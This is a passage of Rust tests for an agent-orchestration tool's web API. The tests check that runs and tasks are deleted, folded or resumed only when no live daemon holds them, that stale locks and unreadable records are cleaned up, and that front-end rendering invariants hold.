23773        assert!(res.body.is_empty(), "204 No Content has no body");
23774        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
23775        assert!(
23776            fx.runs().join(run_id).exists(),
23777            "run directory must not be deleted when its task is deleted"
23778        );
23779
23780        // 2. A task a live daemon is running is refused with 409.
23781        let mut t2 = Task::new(
23782            "Task 2".to_owned(),
23783            "Instruction 2".to_owned(),
23784            PathBuf::from("/repo"),
23785            Source::Human,
23786        );
23787        t2.status = TaskStatus::Running;
23788        q.put(&mut t2).expect("put t2");
23789        let mut beat = crate::daemon::Status::new();
23790        beat.current = vec![crate::daemon::Current {
23791            worker: None,
23792            task: t2.id.clone(),
23793            run: "20260901-000000-r222".to_owned(),
23794        }];
23795        beat.updated_at = jiff::Timestamp::now();
23796        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23797            .expect("publish a heartbeat");
23798        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23799        assert_eq!(res.status, 409);
23800        assert!(
23801            res.json()["error"]
23802                .as_str()
23803                .unwrap()
23804                .contains("live daemon")
23805        );
23806        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23807
23808        // 3. The same `running` status and an orphaned lock, with no daemon
23809        // behind either, is a leftover and deletable. Before this the phone
23810        // refused it for good: the status never changes on its own and
23811        // nothing drops a lock whose process is gone.
23812        // The daemon is killed: the file stays, the heartbeat stops.
23813        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23814        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23815            .expect("leave a stale heartbeat");
23816        let mut t3 = Task::new(
23817            "Task 3".to_owned(),
23818            "Instruction 3".to_owned(),
23819            PathBuf::from("/repo"),
23820            Source::Human,
23821        );
23822        t3.status = TaskStatus::Running;
23823        q.put(&mut t3).expect("put t3");
23824        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23825        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23826        assert_eq!(res.status, 204);
23827        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23828        assert!(
23829            q.claim(&t3.id).is_ok(),
23830            "the stale lock went with it, so the id is claimable again"
23831        );
23832
23833        // 4. Missing id returns 404
23834        let res = fx.delete("/api/queue/nonexistent").await;
23835        assert_eq!(res.status, 404);
23836    }
23837
23838    #[tokio::test]
23839    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23840        let fx = Fixture::start().await;
23841        let runs = fx.runs();
23842
23843        // 1. Finished and folded run can be deleted along with artifacts
23844        let run_id = "20260901-000000-fold";
23845        let mut state = RunState::new(
23846            PathBuf::from("/repo"),
23847            "main".to_owned(),
23848            "abc".to_owned(),
23849            "instruction".to_owned(),
23850            Config::default(),
23851        );
23852        state.id = run_id.to_owned();
23853        state.status = RunStatus::Merged;
23854        state.candidates.push(crate::run::Candidate {
23855            index: 0,
23856            label: 'A',
23857            agent: "a".to_owned(),
23858            branch: "b".to_owned(),
23859            worktree: PathBuf::from("/w"),
23860            summary: String::new(),
23861            stat: String::new(),
23862            files: 1,
23863            commits: 1,
23864            empty: false,
23865            failed: None,
23866            verified_noop: None,
23867            duration_ms: 0,
23868            folded: true,
23869        });
23870        let dir = runs.join(run_id);
23871        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23872        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23873            .expect("write artifact");
23874        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23875            .expect("write run.json");
23876
23877        // Delete by short id
23878        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23879        assert_eq!(res.status, 204);
23880        assert!(res.body.is_empty(), "204 has no body");
23881        assert!(!dir.exists(), "run directory and artifacts must be deleted");
23882
23883        // 2. A run a live daemon is working on is refused with 409. The
23884        // heartbeat is what makes it refusable: an unfinished run with no
23885        // daemon behind it is a leftover from a killed process, and case 1
23886        // above would otherwise be impossible to tell apart from this one.
23887        let run_running = "20260901-000000-rung";
23888        write_run(&runs, run_running, RunStatus::Prep);
23889        let mut beat = crate::daemon::Status::new();
23890        beat.current = vec![crate::daemon::Current {
23891            worker: None,
23892            task: "20260901-000000-task".to_owned(),
23893            run: run_running.to_owned(),
23894        }];
23895        beat.updated_at = jiff::Timestamp::now();
23896        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23897            .expect("publish a heartbeat");
23898        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23899        assert_eq!(res.status, 409);
23900        assert!(
23901            res.json()["error"]
23902                .as_str()
23903                .unwrap()
23904                .contains("live daemon"),
23905            "the refusal must say who is holding it"
23906        );
23907        assert!(
23908            runs.join(run_running).exists(),
23909            "a run in flight keeps its directory"
23910        );
23911
23912        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
23913        let run_unfolded = "20260901-000000-unfd";
23914        let mut state2 = RunState::new(
23915            PathBuf::from("/repo"),
23916            "main".to_owned(),
23917            "abc".to_owned(),
23918            "instruction".to_owned(),
23919            Config::default(),
23920        );
23921        state2.id = run_unfolded.to_owned();
23922        state2.status = RunStatus::Ready;
23923        state2.candidates.push(crate::run::Candidate {
23924            index: 0,
23925            label: 'A',
23926            agent: "a".to_owned(),
23927            branch: "b".to_owned(),
23928            worktree: PathBuf::from("/w"),
23929            summary: String::new(),
23930            stat: String::new(),
23931            files: 1,
23932            commits: 1,
23933            empty: false,
23934            failed: None,
23935            verified_noop: None,
23936            duration_ms: 0,
23937            folded: false,
23938        });
23939        let dir2 = runs.join(run_unfolded);
23940        std::fs::create_dir_all(&dir2).expect("create dir2");
23941        std::fs::write(
23942            dir2.join("run.json"),
23943            serde_json::to_string(&state2).unwrap(),
23944        )
23945        .expect("write run.json");
23946
23947        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23948        assert_eq!(res.status, 409);
23949        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23950        assert!(dir2.exists(), "unfolded run directory is kept");
23951
23952        // 4. Missing id returns 404
23953        let res = fx.delete("/api/runs/nonexistent").await;
23954        assert_eq!(res.status, 404);
23955    }
23956
23957    /// The queue tiles on the Stats tab must render even on a home with no
23958    /// runs at all: queue state is not derived from run history, so hiding
23959    /// the whole dashboard body behind "no runs yet" would drop the one
23960    /// thing this tab promises unconditionally (queued/running/held/done).
23961    /// A DOM-level test would need a browser this suite does not have, so
23962    /// this pins the same invariant textually: `renderStatsQueue` is called
23963    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
23964    /// block that gates the run-derived panels.
23965    #[test]
23966    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23967        let start = APP_JS
23968            .find("function renderStats() {")
23969            .expect("renderStats");
23970        let end = start
23971            + APP_JS[start..]
23972                .find("function statsTile(")
23973                .expect("the next top-level function");
23974        let body = &APP_JS[start..end];
23975
23976        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
23977        let gate_end = gate_start
23978            + body[gate_start..]
23979                .find("}\n  renderStatsQueue")
23980                .expect("the gate's own closing brace, right before the unconditional call");
23981        let gated = &body[gate_start..gate_end];
23982
23983        assert_eq!(
23984            body.matches("renderStatsQueue(").count(),
23985            1,
23986            "renderStats must call renderStatsQueue exactly once: {body}"
23987        );
23988        assert!(
23989            !gated.contains("renderStatsQueue"),
23990            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
23991             run-derived panels on an empty run history - the queue panel has to render \
23992             regardless: {gated}"
23993        );
23994    }
23995
23996    #[test]
23997    fn web_ui_delete_contract_in_front_end() {
23998        // 1. API block has both delete endpoints
23999        assert!(APP_JS.contains("deleteRun:"));
24000        assert!(APP_JS.contains("deleteTask:"));
24001
24002        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
24003        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
24004            ..APP_JS.find("function renderRuns").unwrap()];
24005        assert!(!run_cards_slice.to_lowercase().contains("delete"));
24006
24007        // 3. Run detail has delete entry and reasons
24008        assert!(APP_JS.contains("renderRunDelete"));
24009        assert!(APP_JS.contains("runDeleteReason"));
24010        assert!(APP_JS.contains("magi fold"));
24011        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
24012
24013        // 4. Two-step delete arming and focus on Cancel
24014        assert!(APP_JS.contains("cancel.focus"));
24015        assert!(APP_JS.contains("armedRunDelete"));
24016        assert!(APP_JS.contains("renderTaskDeleteBox"));
24017        assert!(APP_JS.contains("armed${cap(key)}"));
24018
24019        // 5. Running task has disabled delete
24020        assert!(APP_JS.contains("disabled: status === \"running\""));
24021    }
24022
24023    /// Every element a run card's updater reaches for must be in the `refs`
24024    /// the builder handed it.
24025    ///
24026    /// `createRunCard` builds its elements, appends them to the card, and then
24027    /// lists them again in `row.refs`. That second list is the one the updater
24028    /// uses, and nothing connects the two - an element can be built, appended
24029    /// and rendered, and still be missing from `refs`. `superseded` was, for
24030    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
24031    /// exception took `syncList` with it, and the deck showed
24032    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
24033    /// line is computed before the cards, which is why the failure looked like
24034    /// a server that had lost its runs rather than a front end that had
24035    /// stopped rendering them.
24036    ///
24037    /// A `cargo test` cannot execute the front end, so this reads the two
24038    /// halves out of the source and compares them as sets. It is not a check
24039    /// on the wording of either list: adding an element, renaming one, or
24040    /// reordering them all keeps this passing, and only using one the builder
24041    /// never published fails it.
24042    #[test]
24043    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
24044        let build = APP_JS
24045            .find("function createRunCard")
24046            .expect("createRunCard exists");
24047        let update = APP_JS
24048            .find("function updateRunCard")
24049            .expect("updateRunCard exists");
24050        let end = APP_JS
24051            .find("function renderRuns")
24052            .expect("renderRuns exists");
24053
24054        // The builder's published set: the object literal assigned to `refs`.
24055        let builder = &APP_JS[build..update];
24056        let open = builder.find("refs = {").expect("createRunCard sets refs");
24057        let literal = &builder[open + "refs = {".len()..];
24058        let close = literal.find('}').expect("the refs literal is closed");
24059        let published: HashSet<&str> = literal[..close]
24060            .split(',')
24061            // `name` and `name: value` both bind `name`.
24062            .filter_map(|entry| entry.split(':').next())
24063            .map(str::trim)
24064            .filter(|name| !name.is_empty())
24065            .collect();
24066        assert!(
24067            published.len() > 5,
24068            "the refs literal did not parse into names: {published:?}"
24069        );
24070
24071        // What the updaters reach for: every `r.<name>`, where `r` is the
24072        // `const r = row.refs` alias both functions open with.
24073        let mut used: Vec<&str> = Vec::new();
24074        let updaters = &APP_JS[update..end];
24075        for (at, _) in updaters.match_indices("r.") {
24076            // `r` must be the whole identifier, not the tail of another one
24077            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
24078            let before = updaters[..at].chars().next_back();
24079            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
24080                continue;
24081            }
24082            let rest = &updaters[at + 2..];
24083            let len = rest
24084                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
24085                .unwrap_or(rest.len());
24086            if len > 0 {
24087                used.push(&rest[..len]);
24088            }
24089        }
24090        assert!(
24091            used.len() > 5,
24092            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
24093        );
24094
24095        let missing: Vec<&str> = used
24096            .iter()
24097            .copied()
24098            .filter(|name| !published.contains(name))
24099            .collect();
24100        assert!(
24101            missing.is_empty(),
24102            "a run card's updater reaches for {missing:?}, which `createRunCard` \
24103             never put in `refs` - every card will throw and the list will \
24104             render empty under a count line that says otherwise. Published: \
24105             {published:?}"
24106        );
24107    }
24108
24109    #[tokio::test]
24110    async fn folding_from_the_phone_reports_what_it_removed() {
24111        let fx = Fixture::start().await;
24112        let runs = fx.runs();
24113
24114        // A run with no candidates has nothing to fold, which is a 200 with an
24115        // honest count rather than an error: the operator asked for the trees
24116        // to be gone and they are.
24117        let id = "20260901-000000-fold";
24118        write_run(&runs, id, RunStatus::Stalled);
24119        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24120        assert_eq!(res.status, 200);
24121        assert_eq!(res.json()["removed_count"], 0);
24122        assert_eq!(res.json()["run"], id);
24123        assert!(
24124            runs.join(id).exists(),
24125            "a fold keeps the run's record; only the worktrees go"
24126        );
24127    }
24128
24129    /// `runs/<A>/run.json` holding run B's record is not run A: the phone's fold
24130    /// routes refuse it instead of folding B on A's say, and change nothing.
24131    #[tokio::test]
24132    async fn folding_a_record_that_names_another_run_is_refused() {
24133        let fx = Fixture::start().await;
24134        let runs = fx.runs();
24135        let (a, b) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24136        write_run(&runs, a, RunStatus::Stalled);
24137        write_run(&runs, b, RunStatus::Stalled);
24138        std::fs::copy(runs.join(b).join("run.json"), runs.join(a).join("run.json")).unwrap();
24139        let record = std::fs::read(runs.join(a).join("run.json")).unwrap();
24140
24141        let res = fx.post(&format!("/api/runs/{a}/fold"), None).await;
24142        assert_eq!(res.status, 500, "{}", res.body);
24143        assert!(res.body.contains("not run"), "{}", res.body);
24144        let res = fx
24145            .post(
24146                &format!("/api/runs/{a}/fold-merged"),
24147                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24148            )
24149            .await;
24150        assert_eq!(res.status, 500, "{}", res.body);
24151        assert_eq!(
24152            std::fs::read(runs.join(a).join("run.json")).unwrap(),
24153            record
24154        );
24155    }
24156
24157    #[tokio::test]
24158    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
24159        let fx = Fixture::start().await;
24160        let runs = fx.runs();
24161        let wt = fx.home.path().join("wt").join("magi").join("dead");
24162        let id = "20260901-000000-dead";
24163        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24164        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24165        std::fs::create_dir_all(&wt).expect("worktree dir");
24166
24167        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24168        assert_eq!(res.status, 200, "{}", res.body);
24169        assert!(
24170            res.json()["removed_count"].as_u64().unwrap() > 0,
24171            "the worktree this build could not read a state for still went"
24172        );
24173        assert!(
24174            !runs.join(id).exists(),
24175            "an unreadable run has no candidate list to fold selectively, so \
24176             the whole record goes - same as `magi fold` on the CLI"
24177        );
24178    }
24179
24180    #[tokio::test]
24181    async fn folding_a_record_of_another_run_in_a_refused_schema_is_an_identity_error() {
24182        let fx = Fixture::start().await;
24183        let runs = fx.runs();
24184        let id = "20260901-000000-mism";
24185        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24186        let record = br#"{"schema": 99999, "id": "20260901-000000-else"}"#.to_vec();
24187        std::fs::write(runs.join(id).join("run.json"), &record).expect("record");
24188
24189        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24190        assert_eq!(res.status, 500, "{}", res.body);
24191        assert!(
24192            res.json()["error"]
24193                .as_str()
24194                .unwrap()
24195                .contains("records run 20260901-000000-else"),
24196            "{}",
24197            res.body
24198        );
24199        assert_eq!(
24200            std::fs::read(runs.join(id).join("run.json")).unwrap(),
24201            record,
24202            "nothing is removed"
24203        );
24204    }
24205
24206    #[tokio::test]
24207    async fn deleting_an_unreadable_run_removes_it_wholesale() {
24208        let fx = Fixture::start().await;
24209        let runs = fx.runs();
24210        let wt = fx.home.path().join("wt").join("magi").join("gone");
24211        let id = "20260901-000000-gone";
24212        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24213        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24214        std::fs::create_dir_all(&wt).expect("worktree dir");
24215
24216        let res = fx.delete(&format!("/api/runs/{id}")).await;
24217        assert_eq!(res.status, 204, "{}", res.body);
24218        assert!(!runs.join(id).exists(), "the broken record is gone");
24219        assert!(!wt.exists(), "its worktree is gone too");
24220    }
24221
24222    #[tokio::test]
24223    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
24224        let fx = Fixture::start().await;
24225        let runs = fx.runs();
24226        let id = "20260901-000000-live";
24227        write_run(&runs, id, RunStatus::Implementing);
24228
24229        let mut beat = crate::daemon::Status::new();
24230        beat.current = vec![crate::daemon::Current {
24231            worker: None,
24232            task: "20260901-000000-task".to_owned(),
24233            run: id.to_owned(),
24234        }];
24235        beat.updated_at = jiff::Timestamp::now();
24236        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24237            .expect("publish a heartbeat");
24238
24239        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24240        assert_eq!(res.status, 409);
24241        assert!(
24242            res.json()["error"]
24243                .as_str()
24244                .unwrap()
24245                .contains("live daemon"),
24246            "folding under a running agent would pull its worktree away"
24247        );
24248    }
24249
24250    #[tokio::test]
24251    async fn fold_merged_requires_a_pr_url() {
24252        let fx = Fixture::start().await;
24253        let runs = fx.runs();
24254        let id = "20260901-000000-nourl";
24255        write_run(&runs, id, RunStatus::Blocked);
24256
24257        let res = fx
24258            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
24259            .await;
24260        assert_eq!(res.status, 400, "{}", res.body);
24261
24262        let blank = fx
24263            .post(
24264                &format!("/api/runs/{id}/fold-merged"),
24265                Some(r#"{"pr_url":"   "}"#),
24266            )
24267            .await;
24268        assert_eq!(blank.status, 400, "{}", blank.body);
24269    }
24270
24271    #[tokio::test]
24272    async fn fold_merged_is_404_for_an_unknown_run() {
24273        let fx = Fixture::start().await;
24274        let res = fx
24275            .post(
24276                "/api/runs/nosuchrun/fold-merged",
24277                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24278            )
24279            .await;
24280        assert_eq!(res.status, 404, "{}", res.body);
24281    }
24282
24283    #[tokio::test]
24284    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
24285        let fx = Fixture::start().await;
24286        let runs = fx.runs();
24287        let id = "20260901-000000-livemerge";
24288        write_run(&runs, id, RunStatus::Blocked);
24289
24290        let mut beat = crate::daemon::Status::new();
24291        beat.current = vec![crate::daemon::Current {
24292            worker: None,
24293            task: "20260901-000000-task".to_owned(),
24294            run: id.to_owned(),
24295        }];
24296        beat.updated_at = jiff::Timestamp::now();
24297        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24298            .expect("publish a heartbeat");
24299
24300        let res = fx
24301            .post(
24302                &format!("/api/runs/{id}/fold-merged"),
24303                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24304            )
24305            .await;
24306        assert_eq!(res.status, 409, "{}", res.body);
24307        assert!(
24308            res.json()["error"]
24309                .as_str()
24310                .unwrap()
24311                .contains("live daemon"),
24312            "correcting a run's merge underneath a running agent would race \
24313             whatever it is doing to the same `status`/`merge` fields"
24314        );
24315    }
24316
24317    /// A pull request `gh` cannot even ask about (no such remote, no such
24318    /// repository) must never be recorded as a merge on a guess - the same
24319    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
24320    /// command line, reached here through the phone route instead.
24321    #[tokio::test]
24322    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
24323        let fx = Fixture::start().await;
24324        let runs = fx.runs();
24325        let id = "20260901-000000-unconfirmed";
24326        write_run(&runs, id, RunStatus::Blocked);
24327
24328        let res = fx
24329            .post(
24330                &format!("/api/runs/{id}/fold-merged"),
24331                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24332            )
24333            .await;
24334        assert_eq!(res.status, 400, "{}", res.body);
24335        assert_eq!(
24336            read_run(&runs, id).unwrap().status,
24337            RunStatus::Blocked,
24338            "a pull request that could not be confirmed merged must leave \
24339             the run exactly where it was"
24340        );
24341    }
24342
24343    #[tokio::test]
24344    async fn terminal_runs_cannot_be_resumed() {
24345        let fx = Fixture::start().await;
24346        let runs = fx.runs();
24347
24348        for (status, word) in [
24349            (RunStatus::Merged, "merged"),
24350            (RunStatus::Ready, "ready"),
24351            (RunStatus::Failed, "failed"),
24352        ] {
24353            let id = format!("20260901-000000-{}", &word[..4]);
24354            write_run(&runs, &id, status);
24355            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
24356            assert_eq!(res.status, 409, "{word} must not be resumable");
24357        }
24358    }
24359
24360    #[tokio::test]
24361    async fn resume_is_refused_while_the_loop_is_running() {
24362        let fx = Fixture::start().await;
24363        let runs = fx.runs();
24364        let stalled = "20260901-000000-stal";
24365        write_run(&runs, stalled, RunStatus::Stalled);
24366
24367        // The loop is busy with a *different* run, and that is still a
24368        // refusal: a manual resume must never race whatever the loop itself
24369        // is already driving, whether that is one run or several.
24370        let mut beat = crate::daemon::Status::new();
24371        beat.current = vec![crate::daemon::Current {
24372            worker: None,
24373            task: "20260901-000000-task".to_owned(),
24374            run: "20260901-000000-othr".to_owned(),
24375        }];
24376        beat.updated_at = jiff::Timestamp::now();
24377        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24378            .expect("publish a heartbeat");
24379
24380        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
24381        assert_eq!(res.status, 409);
24382        let err = res.json()["error"].as_str().unwrap().to_owned();
24383        assert!(err.contains("othr"), "it names what the loop is on: {err}");
24384        assert!(err.contains("stop it first"), "{err}");
24385    }
24386
24387    #[test]
24388    fn a_run_cannot_be_resumed_twice_at_once() {
24389        let home = TempDir::new().expect("temp home");
24390        let ui = Ui::new(
24391            Queue::at(home.path().join("queue")),
24392            Questions::at(home.path().join("questions")),
24393            Talks::at(home.path().join("talks")),
24394            home.path().join("runs"),
24395            home.path().to_path_buf(),
24396            PathBuf::from("/repo"),
24397        )
24398        .with_worktrees_root(home.path().join("wt"));
24399        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
24400        let again = ui.begin_resume("20260901-000000-once");
24401        assert!(again.is_err(), "a second tap must not start a second graph");
24402        drop(first);
24403        assert!(
24404            ui.begin_resume("20260901-000000-once").is_ok(),
24405            "and the claim is released when the attempt ends"
24406        );
24407    }
24408
24409    #[test]
24410    fn talk_thinking_tracks_only_its_held_turn_claim() {
24411        let home = TempDir::new().expect("temp home");
24412        let ui = Ui::new(
24413            Queue::at(home.path().join("queue")),
24414            Questions::at(home.path().join("questions")),
24415            Talks::at(home.path().join("talks")),
24416            home.path().join("runs"),
24417            home.path().to_path_buf(),
24418            PathBuf::from("/repo"),
24419        )
24420        .with_worktrees_root(home.path().join("wt"));
24421        let id = "20260901-000000-once";
24422
24423        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
24424        let turn = ui.begin_talk_turn(id).expect("claim turn");
24425        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
24426        assert!(
24427            !ui.is_thinking("20260901-000000-other"),
24428            "one talk's turn does not make another talk busy"
24429        );
24430        drop(turn);
24431        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
24432    }
24433
24434    #[test]
24435    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
24436        let home = TempDir::new().expect("temp home");
24437        let talks = Talks::at(home.path().join("talks"));
24438        let ui = Ui::new(
24439            Queue::at(home.path().join("queue")),
24440            Questions::at(home.path().join("questions")),
24441            talks.clone(),
24442            home.path().join("runs"),
24443            home.path().to_path_buf(),
24444            PathBuf::from("/repo"),
24445        )
24446        .with_worktrees_root(home.path().join("wt"));
24447        let id = "20260901-000000-cross";
24448
24449        let other = Talks::at(home.path().join("talks"))
24450            .claim_turn(id)
24451            .expect("claim")
24452            .expect("the other process wins");
24453        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
24454        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
24455        assert!(
24456            matches!(
24457                ui.begin_talk_turn_unless_pending(id).expect("start"),
24458                TalkTurnStart::Foreign
24459            ),
24460            "a foreign holder is refused, not queued behind"
24461        );
24462        assert!(
24463            !ui.talk_turns.lock().unwrap().live.contains(id),
24464            "a refused claim leaves no in-process entry behind"
24465        );
24466        drop(other);
24467        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
24468        assert!(talks.turn_held(id), "the web turn holds the lease");
24469        drop(turn);
24470        assert!(
24471            !talks.turn_held(id),
24472            "dropping the guard releases the lease"
24473        );
24474    }
24475
24476    fn consult_question(ui: &Ui) -> Question {
24477        let mut q = Question::new(
24478            "20260901-000000-consult".to_owned(),
24479            "implement".to_owned(),
24480            "impl-A".to_owned(),
24481            "Which backend?".to_owned(),
24482            String::new(),
24483            vec!["SQLite".to_owned(), "Redis".to_owned()],
24484        );
24485        ui.questions.put(&mut q).expect("question");
24486        q
24487    }
24488
24489    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
24490        (
24491            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
24492            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
24493        )
24494    }
24495
24496    #[tokio::test]
24497    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
24498        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24499        let q = consult_question(&ui);
24500        let talk = ui.talks.get(&id).expect("talk");
24501        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
24502        let before = consult_snapshot(&ui, &q, &id);
24503        let cli_talks = Talks::at(ui.home.join("talks"));
24504        assert_eq!(
24505            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
24506                .await
24507                .expect("CLI starter"),
24508            crate::consult::Started::Busy
24509        );
24510        assert_eq!(consult_snapshot(&ui, &q, &id), before);
24511        assert!(ui.is_thinking(&id));
24512        drop(guard);
24513        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
24514    }
24515
24516    #[tokio::test]
24517    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
24518        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24519        let q = consult_question(&ui);
24520        let talk = ui.talks.get(&id).expect("talk");
24521        let started = tmp.path().join("started");
24522        let release = tmp.path().join("release");
24523        let script = tmp.path().join("consult-agent.sh");
24524        std::fs::write(
24525            &script,
24526            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
24527        )
24528        .expect("script");
24529        let mut cfg = stub_config();
24530        cfg.agents[0].id = "mock".to_owned();
24531        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
24532        cfg.agents[0].env = std::collections::BTreeMap::from([
24533            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
24534            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
24535        ]);
24536        let questions = ui.questions.clone();
24537        let cli_talks = Talks::at(ui.home.join("talks"));
24538        let cli_q = q.clone();
24539        let turn = tokio::spawn(async move {
24540            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
24541        });
24542        let ready = tokio::time::timeout(Duration::from_secs(30), async {
24543            while !started.exists() {
24544                tokio::time::sleep(Duration::from_millis(10)).await;
24545            }
24546        })
24547        .await;
24548        // Always release and join the agent, even if readiness or the web
24549        // request fails, so a failed assertion cannot leave a turn behind.
24550        let refusal = if ready.is_ok() {
24551            let before = consult_snapshot(&ui, &q, &id);
24552            let result = talk_say(
24553                State(Arc::clone(&ui)),
24554                Path(id.clone()),
24555                Ok(Json(NewTalkTurn {
24556                    reply_to: None,
24557                    text: "another message".to_owned(),
24558                    attachments: Vec::new(),
24559                })),
24560            )
24561            .await;
24562            Some((result, before, consult_snapshot(&ui, &q, &id)))
24563        } else {
24564            None
24565        };
24566        std::fs::write(&release, "").expect("release agent");
24567        let done = turn.await.expect("join CLI turn");
24568        ready.expect("agent started before deadline");
24569        let (result, before, after) = refusal.expect("web request");
24570        let error = result.expect_err("web must refuse the CLI's turn");
24571        assert_eq!(error.status, StatusCode::CONFLICT);
24572        assert!(error.message.contains("a turn is already running"));
24573        assert_eq!(
24574            after, before,
24575            "refusal preserves question, draft and history"
24576        );
24577        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
24578        let guard = ui
24579            .begin_talk_turn(&id)
24580            .expect("web claim")
24581            .expect("free again");
24582        drop(guard);
24583    }
24584
24585    #[test]
24586    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
24587        let home = TempDir::new().expect("temp home");
24588        let talks = Talks::at(home.path().join("talks"));
24589        let ui = Ui::new(
24590            Queue::at(home.path().join("queue")),
24591            Questions::at(home.path().join("questions")),
24592            talks.clone(),
24593            home.path().join("runs"),
24594            home.path().to_path_buf(),
24595            PathBuf::from("/repo"),
24596        )
24597        .with_worktrees_root(home.path().join("wt"));
24598        let id = "20260901-000000-order";
24599        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
24600        // Hold the slot mutex so the drop can finish the lease but not the slot.
24601        let slots = ui.talk_turns.lock().unwrap();
24602        let dropper = std::thread::spawn(move || drop(turn));
24603        let start = std::time::Instant::now();
24604        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
24605            std::thread::sleep(Duration::from_millis(5));
24606        }
24607        assert!(!talks.turn_held(id), "the lease is released first");
24608        assert!(slots.live.contains(id), "the slot is still held meanwhile");
24609        drop(slots);
24610        dropper.join().expect("join");
24611        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
24612    }
24613
24614    #[tokio::test]
24615    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
24616        let fx = Fixture::start().await;
24617        let mut beat = crate::daemon::Status::new();
24618        beat.worker_protocol = None;
24619        beat.pid = 4321;
24620        beat.updated_at = jiff::Timestamp::now();
24621        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24622            .expect("publish a heartbeat");
24623
24624        let res = fx.post("/api/upgrade", None).await;
24625        assert_eq!(res.status, 409);
24626    }
24627
